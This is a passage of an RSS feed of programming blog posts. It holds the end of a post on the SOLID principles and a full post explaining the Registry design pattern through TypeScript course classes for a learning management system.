    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notificationSender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sendNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// class that depends on the interface&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;SMSNotificationSender&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;notificationSender&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notificationSender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;notificationSender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;sendSMSNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to send SMS notification&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notificationSender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sendNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Pros and Shortcomings:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The SOLID principles provide a set of guidelines for creating software that is easy to maintain, scalable, and extendable. By following these principles, we can create code that is more modular and easier to maintain, which can save us time and effort in the long run.&lt;/p&gt;

&lt;p&gt;However, applying the SOLID principles can sometimes lead to more complex code, which can be harder to understand and debug. Additionally, applying the principles requires a certain level of skill and experience, which not all developers may possess.&lt;/p&gt;

&lt;p&gt;In conclusion, the SOLID principles are a powerful set of guidelines that can help developers create high-quality software that is easy to maintain, scalable, and extendable. While there may be some upfront cost in terms of complexity and development time, the benefits of applying these principles are often worth it in the long run.&lt;/p&gt;

&lt;p&gt;If you're new to the SOLID principles, it may take some time and practice to get used to applying them in your code. However, there are many resources available online that can help you get started, such as online courses, tutorials, and books.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Some recommended resources for further study include:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"Clean Code: A Handbook of Agile Software Craftsmanship" by Robert C. Martin&lt;br&gt;
"Refactoring: Improving the Design of Existing Code" by Martin Fowler&lt;br&gt;
"SOLID Principles of Object-Oriented Design and Architecture" course on Pluralsight&lt;br&gt;
"The SOLID Principles of Object-Oriented Design" course on Udemy&lt;br&gt;
By applying the SOLID principles in your code, you can improve the quality of your software and become a more skilled and effective developer.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Registry Pattern - Revolutionize Your Object Creation and Management in your applications</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Fri, 07 Apr 2023 11:14:42 +0000</pubDate>
      <link>https://forem.com/walosha/registry-pattern-revolutionize-your-object-creation-and-management-lms-as-a-case-study-58km</link>
      <guid>https://forem.com/walosha/registry-pattern-revolutionize-your-object-creation-and-management-lms-as-a-case-study-58km</guid>
      <description>&lt;p&gt;The Registry pattern is a design pattern that provides a centralized location for managing and creating instances of objects. It is useful when you have multiple instances of related objects that need to be created and managed, and can simplify object creation and management by providing a single point of access for creating and retrieving instances of those objects.&lt;/p&gt;

&lt;p&gt;In other way, a registry object maintains a collection of named objects and provides methods for registering and retrieving those objects. This can improve performance by allowing the system to reuse existing objects rather than creating new ones each time they are needed. It also makes it easy to add new types of objects to the system without modifying existing code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning Management System (LMS)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's consider a Learning Management System (LMS) that needs to manage different types of courses, such as online courses, in-person courses, and hybrid courses. Each course type has its own set of properties and behavior, and we want to be able to create multiple instances of each course type.&lt;/p&gt;

&lt;p&gt;Here's an example of how we can use the Registry pattern to manage the different course types:&lt;/p&gt;

&lt;p&gt;Define a base Course class that defines the common properties and behavior of all course types:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;Course&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;enroll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;student&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// enroll the student in the course&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;cancelEnrollment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;student&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// cancel the student's enrollment in the course&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Define a subclass for each course type, and add any additional properties or behavior specific to that course type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;OnlineCourse&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;Course&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// start the online course&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;InPersonCourse&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;Course&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;schedule&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// schedule the in-person course&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;HybridCourse&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;Course&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// start the online portion of the hybrid course&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;schedule&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// schedule the in-person portion of the hybrid course&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create a CourseRegistry object that will store instances of each course type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;CourseConstructor&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;any&lt;/span&gt;&lt;span class="p"&gt;[]):&lt;/span&gt; &lt;span class="kr"&gt;any&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;CourseRegistry&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;courses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;CourseConstructor&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;

  &lt;span class="nx"&gt;registerCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;courseType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;CourseConstructor&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;courses&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;courseType&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;createCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;courseType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;any&lt;/span&gt;&lt;span class="p"&gt;[]):&lt;/span&gt; &lt;span class="kr"&gt;any&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;CourseConstructor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;courses&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;courseType&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;CourseConstructor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Course type '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;courseType&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;' not registered`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;CourseConstructor&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Register each course type with the CourseRegistry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;courseRegistry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;CourseRegistry&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;courseRegistry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;registerCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;online&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;OnlineCourse&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;courseRegistry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;registerCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;in-person&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;InPersonCourse&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;courseRegistry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;registerCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hybrid&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;HybridCourse&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create instances of each course type using the CourseRegistry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;onlineCourse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;courseRegistry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;online&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Introduction to JavaScript&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Learn JavaScript online&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://example.com/js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;inPersonCourse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;courseRegistry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;in-person&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Advanced React&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Learn advanced React techniques in person&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;New York&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hybridCourse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;courseRegistry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hybrid&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Full-stack Web Development&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Learn full-stack web development&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://example.com/webdev&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;San Francisco&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Benefits of using the Registry pattern&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Centralized management of object creation:&lt;/strong&gt; The Registry pattern provides a centralized location for managing and creating instances of objects, which can simplify object creation and management.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flexibility and extensibility&lt;/strong&gt;: By using the Registry pattern, you can add new types of objects to the system without modifying existing code, making the system more flexible and extensible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Improved performance:&lt;/strong&gt; The Registry pattern can improve performance by allowing the system to reuse existing objects rather than creating new ones each time they are needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Easy access to objects:&lt;/strong&gt; The Registry pattern provides a simple way to access objects throughout the system, making it easy to share objects between different parts of the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Demerits of using the Registry pattern&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Increased complexity:&lt;/strong&gt; The Registry pattern can introduce additional complexity to a system, particularly if it is not implemented properly or is used excessively.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dependencies&lt;/strong&gt;: The Registry pattern can introduce dependencies between objects and the Registry, which can make it more difficult to test and maintain the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Potential for naming collisions&lt;/strong&gt;: The Registry pattern relies on unique names for objects, so there is a risk of naming collisions if multiple objects have the same name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Potential for misuse&lt;/strong&gt;: The Registry pattern can be misused if it is not implemented properly, leading to issues such as memory leaks, poor performance, and difficult-to-maintain code.&lt;/p&gt;

&lt;p&gt;Overall, the Registry pattern can be a useful tool in certain situations, particularly when managing multiple instances of related objects. However, like any design pattern, it should be used judiciously and with careful consideration of its potential benefits and drawbacks.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
